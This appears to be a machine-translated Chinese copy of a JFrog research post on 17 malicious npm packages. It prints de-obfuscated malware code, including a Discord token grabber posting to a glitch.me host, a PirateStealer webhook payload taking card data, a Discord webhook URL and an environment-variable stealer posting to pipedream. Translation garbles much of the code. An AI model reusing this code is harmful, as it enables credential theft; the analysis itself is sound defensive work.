恶意的npm包在你的Discord令牌之后- 17个新包被披露

NPM恶意包

JFrog安全研究团队使用我们的自动化工具持续监控流行的开放源码软件(OSS)存储库,并向存储库维护者和更广泛的社区报告发现的任何漏洞或恶意包。最近我们披露了PyPI存储库中的11个恶意包这一发现表明,攻击手段正变得越来越复杂。先进的躲避技术PyPI恶意软件软件包标志着一个令人不安的趋势,即攻击者对开放源码软件的攻击正变得越来越隐蔽。

紧跟着那份报告,我们现在分享我们最新工作的发现——在npm (Node.js包管理器)存储库中公开了17个恶意包是我们的自动扫描工具检测到的。他们中的许多人故意试图攻击用户的Discord令牌,这是一组字母和数字,作为访问Discord服务器的授权代码。它实际上是用户的凭证。简单地说:获取受害者的Discord令牌可以让攻击者完全访问受害者的Discord账户。

我们透露这些17恶意包给NPM代码维护者,这些包被迅速从NPM存储库中删除了——这很好地说明这些包确实引起了问题。幸运的是,这些包在它们获得大量下载之前就被删除了(基于npm记录),因此我们设法避免了类似于我们上次披露的PyPI的情况,即恶意包在被检测和删除之前被下载了数万次。

这些包的有效载荷是不同的,从infostealers多达完全远程访问后门。此外,这些包有不同的感染策略,包括拼写错误、依赖混淆和木马功能。

在深入了解我们的发现以及如何更好地保护自己免受这种威胁之前,我们还建议您阅读我们的文章关于漏洞扫描最佳实践的提示

报告包

“感染方法”是从包元数据中猜测的——没有观察到实际的攻击。

版本 有效载荷 感染的方法
prerequests-xcode 1.0.4 远程访问木马(老鼠 未知的
discord-selfbot-v14 12.0.3 不和牌打捞工具 受害情况/特洛伊(discord.js)
discord-lofy 11.5.1 不和牌打捞工具 受害情况/特洛伊(discord.js)
discordsystem 11.5.1 不和牌打捞工具 受害情况/特洛伊(discord.js)
discord-vilao 1.0.0 不和牌打捞工具 受害情况/特洛伊(discord.js)
fix-error 1.0.0 PirateStealer(不和恶意软件) 木马
wafer-bind 1.1.2 环境变量偷窃者 受害情况(晶片- *)
wafer-autocomplete 1.25.0 环境变量偷窃者 受害情况(晶片- *)
wafer-beacon 1.3.3 环境变量偷窃者 受害情况(晶片- *)
wafer-caas 1.14.20 环境变量偷窃者 受害情况(晶片- *)
wafer-toggle 1.15.4 环境变量偷窃者 受害情况(晶片- *)
wafer-geolocation 1.2.10 环境变量偷窃者 受害情况(晶片- *)
wafer-image 1.2.2 环境变量偷窃者 受害情况(晶片- *)
wafer-form 1.30.1 环境变量偷窃者 受害情况(晶片- *)
wafer-lightbox 1.5.4 环境变量偷窃者 受害情况(晶片- *)
octavius-public 1.836.609 环境变量偷窃者 受害情况(屋大维)
mrg-message-broker 9998.987.376 环境变量偷窃者 依赖关系混乱

为什么要偷Discord代币?

我们最近看到了大量的恶意软件,之前在我们的PyPI出版物中(例如noblesse, DiscordSafety),现在也在npm存储库中。

不和是一个无处不在的数字通信平台,拥有超过3.5亿注册用户,可以通过语音通话、视频通话、短信和媒体文件(或其他任意文件)进行通信。这可以私下(用户对用户)完成,也可以在称为“服务器”的持久虚拟房间中完成。

考虑到这一点,有人可能会想:为什么要偷Discord代币?

从我们的研究中,我们假设了几个诱人的原因:

  1. 利用这个平台进行攻击
    Discord服务器经常被用作匿名命令与控制(C2)服务器,控制远程访问木马(RAT)甚至整个僵尸网络。或者,可以使用Discord服务器作为匿名的泄露通道。在我们之前的研究中,我们注意到“noblesse”恶意软件家族使用Discord的webhook来窃取窃取的数据。如果攻击者获得了任意的Discord用户/服务器,这将允许更好的攻击匿名化,因为使用这些凭证的任何攻击都将被追踪到合法用户,而不是攻击者。
  2. 向Discord用户传播恶意软件
    被黑的Discord账户可以用于社交工程目的,继续传播恶意软件-手动或自动通过蠕虫.受害者更有可能接受(并执行)来自朋友账户上的任意文件,而不是一个完全陌生的人发送的文件。
  3. 出售被盗的保费账户
    Discord运营着一项名为“不和硝基这项服务目前每年花费100美元,为用户解锁了几个美容选项(表情符号、徽章等),以及“增强”所选服务器的选项,以提高该服务器上的通话和视频流的质量。攻击者可能会瞄准购买Nitro的Discord账户,以便在在线市场上廉价转售。例如,我们可以在“play喷发”市场上看到:

市场上既出售独立硝基钥匙和启用Nitro的整个帐户

欲了解更多关于Discord恶意软件的信息,Sophos也在这方面做了大量的研究

不和令牌的吸引力

由于这种攻击有效载荷的流行,在GitHub上有相当多的带有构建指令的Discord令牌抓取器:

攻击者可以利用这些模板中的一个来开发定制的恶意软件,而不需要大量的编程技能——这意味着任何新手黑客都可以在几分钟内轻松完成此操作。如前所述,这可以与各种在线混淆工具一起使用,以避免基本的检测技术。

值得注意的是,与完全的RAT后门相比,这些有效负载不太可能被反病毒解决方案捕获,因为一个Discord窃取者不修改任何文件,不在任何地方注册自己(例如,在下次引导时执行),也不执行可疑的操作,如生成子进程。

discord-lofy而且discord-selfbot-v14软件包由同一作者(davisousa)发布,并假装是流行的合法库的修改discord.js,它支持与Discord API的交互。

在典型的木马方式中,这些包试图通过复制README来误导受害者。Md从原始包装:

恶意软件的作者以原来的discord.js库为基础,在文件中注入了模糊恶意代码src /客户/行动/ UserGet.js

模糊版本的代码是巨大的:超过4000行不可读的代码,包含了所有可能的模糊方法:混乱的变量名,加密的字符串,代码扁平化和反射函数调用:

函数I6(b, t, D, F, t, s,…){返回L(by - 0x2c8, Ll);}函数I3(b, t, D, F…){返回L(IR - -0x32d, tJ);}函数I0(b, t, D, F,…){返回L(vy - -0x3c2, LM);}函数a(b, t, D, F,…){返回L(Ly - -0x5f, v7);}

通过手动分析和编写脚本,我们能够消除这个包的混乱,并揭示它最终的有效负载非常简单——有效负载只是在知名浏览器的本地存储文件夹(以及特定于Discord的文件夹)上迭代,然后使用正则表达式在这些文件夹中搜索类似于Discord令牌的字符串。找到的任何令牌都通过HTTP POST发送回硬编码服务器https://aba45cf.glitch.me/polarlindo

paths = ['/Users/user/AppData/Roaming/Discord/Local Storage/leveldb' '/Users/user/AppData/Roaming/Lightcord/Local Storage/leveldb' '/Users/user/AppData/Roaming/discordcanary/Local Storage/leveldb' '/Users/user/AppData/Roaming/discordcanary/Local Storage/leveldb' '/Users/user/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb','/Users/user/AppData/Roaming/Opera Software/Opera GX Stable/Local Storage/leveldb' '/Users/user/AppData/Local/Amigo/ user Data/Local Storage/leveldb' '/Users/user/AppData/Local/Torch/ user Data/Local Storage/leveldb', '/Users/user/AppData/Local/Kometa/ user Data/Local Storage/leveldb', '/Users/user/AppData/Local/Kometa/ user Data/Local Storage/leveldb','/Users/user/AppData/Local/AppData/Local/Orbitum/用户数据/本地存储/leveldb' '/Users/user/AppData/Local/CentBrowser/用户数据/本地存储/leveldb' '/Users/user/AppData/Local/7Star/7Star/用户数据/本地存储/leveldb' '/Users/user/AppData/Local/Sputnik/Sputnik/用户数据/Default/本地存储/leveldb' '/Users/user/AppData/Local/谷歌/Chrome SxS/用户数据/本地存储/leveldb' '/Users/user/AppData/Local/谷歌/Local/Epic PrivacyBrowser/User Data/Local Storage/leveldb' '/Users/ User /AppData/Local/谷歌/Chrome/User Data/Default/Local Storage/leveldb' '/Users/ User /AppData/Local/uCozMedia/Uran/User Data/Default/Local Storage/leveldb' '/Users/ User /AppData/Local/Microsoft/Edge/User Data/Default/Local Storage/leveldb' '/Users/ User /AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb' '/Users/ User /AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb' '/Users/ User /AppData/Local/Opera Software/Opera Neon/User Data/Default/Local Storage/leveldb' ' '' /用户/用户/ AppData /地方/ BraveSoftware / Brave-Browser /用户数据/违约/本地存储/ leveldb ');路径。forEach(p => getToken(p))函数getToken(p) {fs. forach函数readdir (p (e, f) = >{如果(f) {f = f.filter (f = > f.endsWith (ldb)) f.forEach (f = > {var fileContent = fs.readFileSync(“$ {p} / $ {f}’).toString () var noMFA = /”(\ d \ w_(){24} \。(\ d \ w_(){6} \。[\d\w_-]{27}"/ var mfa = /"mfa\。[\d\w_-]{84}"/ var [token] = noMFA.exec(fileContent) || mfa.exec(fileContent) || [undefined] if (token) fetch("http://ip-api.com/json/").then(r => r.json())。然后(r = >获取(“https://aba45cf(。)故障。me/polarlindo',{方法:"POST",主体:JSON。stringify({ token: token, ip: r.query }) })) }) } }) }

discordsystem而且discord-vilao软件包是由不同的作者上传的,但与前两个软件包非常相似,除了泄露方法——通过硬编码发送回被盗的令牌不和Webhook.例如,discordsystem转移到以下Webhook:https://canary.discord.com/api/webhooks/903018156283551775/lJOJ9526e_rzw0Js2DQPdV0eYQd5RQybtUcJqolp84JTwlxJxaWnuam9FyUplYN2TJfT

PirateStealer

fix-error包是另一个木马包,承诺“修复错误在discord selfbot”。在检查包代码时,很容易看到它是混淆的:

eval(函数(p, a、c、k、e、d){虽然(c)){如果(k [c]) {p = p(“\ \ x72 \ \ x65 \ \ x70 \ \ x6C \ \ x61 \ \ x63 \ \ x65”)(新RegExp(“\ \ x5C \ \ x62”+ c +“\ \ x5C \ \ x62”、“\ \ x67”)}};返回p}(“\ \ x35 \ \ x39 \ \ x20的\ \ x32 \ \ x35 \ \ x3D \ \ x5B \ \将\ \ x5C \ \ x31 \ \ x31 \ \ x5C \ \ x31 \ \ x34 \ \ x5C \ \ x34 \ \ x32 \ \ x5C \ \ x31 \ \ x35……

这一次,有效载荷可以很容易地通过替换来消除混淆evalconsole.log

不像discord-lofy,这个混淆器不改变代码流,但坚持基本(混淆字符串和替换变量名),所以完全去混淆是非常直接的:

...函数listDiscords () {exec(_0[34],函数(_2、_4 _12){如果(_4 [_0 [9]](_0 [35])){runningDiscords [_0 [11]] (_0 [36])};如果(_4 [_0 [9]](_0 [37])){runningDiscords [_0 [11]] (_0 [38])};如果(_4 [_0 [9]](_0 [39])){runningDiscords [_0 [11]] (_0 [40])};killDiscord()})}函数killDiscord () {runningDiscords [_0 [12]] ((_3) = > {exec(“${_0[41]}${_3}${_0[42]}”,(“_2)= >{如果(_2){返回}})});感染();pwnBetterDiscord()}…

在检查去模糊化的代码后,很明显这是臭名昭著的模糊化版本PirateStealer黑客工具。这个工具会窃取存储在Discord客户端的私人数据,例如信用卡、登录凭证和个人身份信息(PII)。

黑客工具的工作原理是注入恶意的Javascript代码进入到Discord客户端。

注入的代码监视用户,并将窃取的信息发送回一个硬编码的Webhook地址:

m ={用户名:“Vilao”,内容:“”,嵌入:[{标题:“Cartao Adicionado”,描述:“* *省 :**```" + c.username + + c.discriminator +“#”“\ n * * ID :**```" + c.id + " ' ' ' \ n * *电子邮件 :**```" + c.email + " ' ' ' \ n * *蒂波德硝基 :**```" + GetNitro (c.premium_type) + " ' ' \ n * *徽章 :**```" + GetBadges (c.flags) + " ' ' \ n * * Cartao n °: **```" + e +”“\ n * * Expira em : **```" + n + " + r + " ' ' ' \ n * * CVC : **```" + t +”“\ n * * Regiao : **```" + l + " ' ' ' \ n * *带动 : **```" + o +”“\ n”* *:* *”的“+ +”“\ n * *邮政 :**```" + 我+ " ' ' ' \ n * * Bairro : **```" + + " ' ' ' \ n * *牌 :**```" + p + " ' ' ' \ n * * IP : **```" + d  + "```", 作者:{名称:“Vilao”},页脚:{文本:“Vilao”},缩略图:{url:“https://cdn.discordapp.com/avatars/”+ c.id + " + c.avatar}}};SendToWebhook (JSON.stringify (m))

远程访问木马

这个包prerequests-xcode没有描述,但有一个令人印象深刻的依赖项列表,这暗指它要窃取的敏感数据:

{“依赖性”:{“axios”:“^ 0.21.1”、“clipboardy”:“^ tripwire”、“desktop-screenshot”:“^ 0.1.1”、“不和”:“^ 0.8.2”、“discord-pages”:“^ 1.0.2”,“discord-webhook-node”:“^ 1.1.8”、“discord.js”:“^ 11.6.4”、“表达”:“^ 4.17.1”、“http”:“0.0.1-security”、“懒”:“^ 1.0.11”、“响度”:“^ 0.4.1”、“node-hide-console-window”:“^ 2.1.0的”,“node-webcam”:“^ 0.8.0”,“开放”:“^ 8.3.0”、“操作系统”:“^ 0.1.2”、“路径”:“^ 0.12.7”、“ps-node”:“^ 0.1.6”、“请求”:“^ 2.88.2”、“screenshot-desktop”:“^ 1.12.7”、“serve-index”:“^ 1.9.1”、“插座。Io ": "^4.2.0"}}

在检查包的代码时,我们发现它包含一个Node.JS端口DiscordRAT(最初是用Python编写的),使攻击者能够完全控制受害者的机器。恶意软件与流行的在线工具混淆了obfuscator.io,但在这种情况下,检查可用命令列表就足够了,以理解RAT的功能(逐字复制):

webcampic——把一幅画从摄像头!截图,需要用户的当前屏幕的截图!根据执行VBScript代码来自攻击者! Powershell Powershell执行代码来自攻击者!剪贴板-发送给攻击者的剪贴板内容!下载,下载文件从受害者机器!定位——从https://geolocation-db.com/json/发送数据!密码——发送给攻击者所有的密码存储在系统!壳——执行一个shell命令!tokens -向攻击者发送不一致令牌!listprocess -接收正在运行的进程的信息

类似于老派的IRC恶意软件,RAT是通过一个Discord私人聊天控制的。

环境变量偷窃者

我们的研究揭示了十个执行环境变量盗窃的包。的晶片- *包(wafer-bindwafer-beacon,等等)不包含任何合法的功能,而是包含一小段恶意代码,即使在混淆的情况下也可以理解:

函数a0_0x2c5d(_0x3c5edd, _0x43388a) {const _0x5bc4a6 = a0_0x5bc4();返回a0_0x2c5d = function(_0x2c5dfc, _0x1206df) {_0x2c5dfc = _0x2c5dfc - 0x1bd;Let _0x2f5ef7 = _0x5bc4a6[_0x2c5dfc];返回_0x2f5ef7;}, a0_0x2c5d (_0x3c5edd _0x43388a);}要求= http(“请求”)({“主机”:[“a5eb7b362adc824ed7d98433d8eae80a”、“米”,“白日梦”,“网”)(“加入 "]('.'), ' 路径 ': '/' + ( [“env”][“npm_package_name过程 "] || ''), ' 方法”:“POST”}),要求(“写”)(缓冲区(“的”)(JSON(函数”把“)(过程[' env ']))(“toString”)(“base64”),要求(“结束”)();

恶意软件只是收集所有受害进程的环境变量,并将它们(作为base64编码的字符串)发布到a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net

这是一种危险的有效负载,因为环境变量是保存运行时需要使用的秘密的主要位置(因为它们比将秘密保存在明文存储中或通过命令行变量传递秘密更安全)。

例如,AWS CLI支持通过环境变量获取AWS秘密访问密钥:

$ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE $ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY $ export AWS_DEFAULT_REGION=us-west-2

这些恶意包所针对的机器类型,即开发人员和CI/CD机器,很可能在用户的环境中包含此类机密和访问密钥。

所有其他窃取环境的软件包都包含非常相似的混淆和有效负载,有时使用稍微不同的参数(例如不同的泄漏服务器)。

结论

在npm库中发现的恶意软件与我们的PyPI恶意软件监控发现的恶意包非常相似。攻击者通常使用带有轻微修改(甚至是未修改的工具)的公共黑客工具,这些工具使用公共模糊器进行模糊处理。

我们目睹了最近通过开源软件库托管和交付的恶意软件的密集攻击。公共存储库已经成为恶意软件分发的便利工具:存储库的服务器是一个受信任的资源,与它通信不会引起任何反病毒或防火墙的怀疑。此外,通过自动化工具(如npm客户端)安装的便捷性提供了一个成熟的攻击向量。

鉴于这种威胁,我们正在不断努力,通过揭露新的恶意程序包和恶意软件作者用来隐藏它们的技术,来帮助开发人员社区和我们的客户,以增加流行存储库的安全性。我们还建议组织采取预防措施,管理他们在软件管理中使用npm,以减少将恶意代码引入应用程序的风险。

请继续关注

除了暴露新安全漏洞和威胁,JFrog为开发人员和安全团队提供了方便的访问他们的软件的最新相关信息的自动安全扫描JFrog x光.请继续关注我们的产品更新,包括自动漏洞和恶意代码检测,以防御最新出现的威胁。

读到的Log4j Log4shell volnurability

问题吗?想法吗?联系我们在research@www.si-fil.com对于任何询问。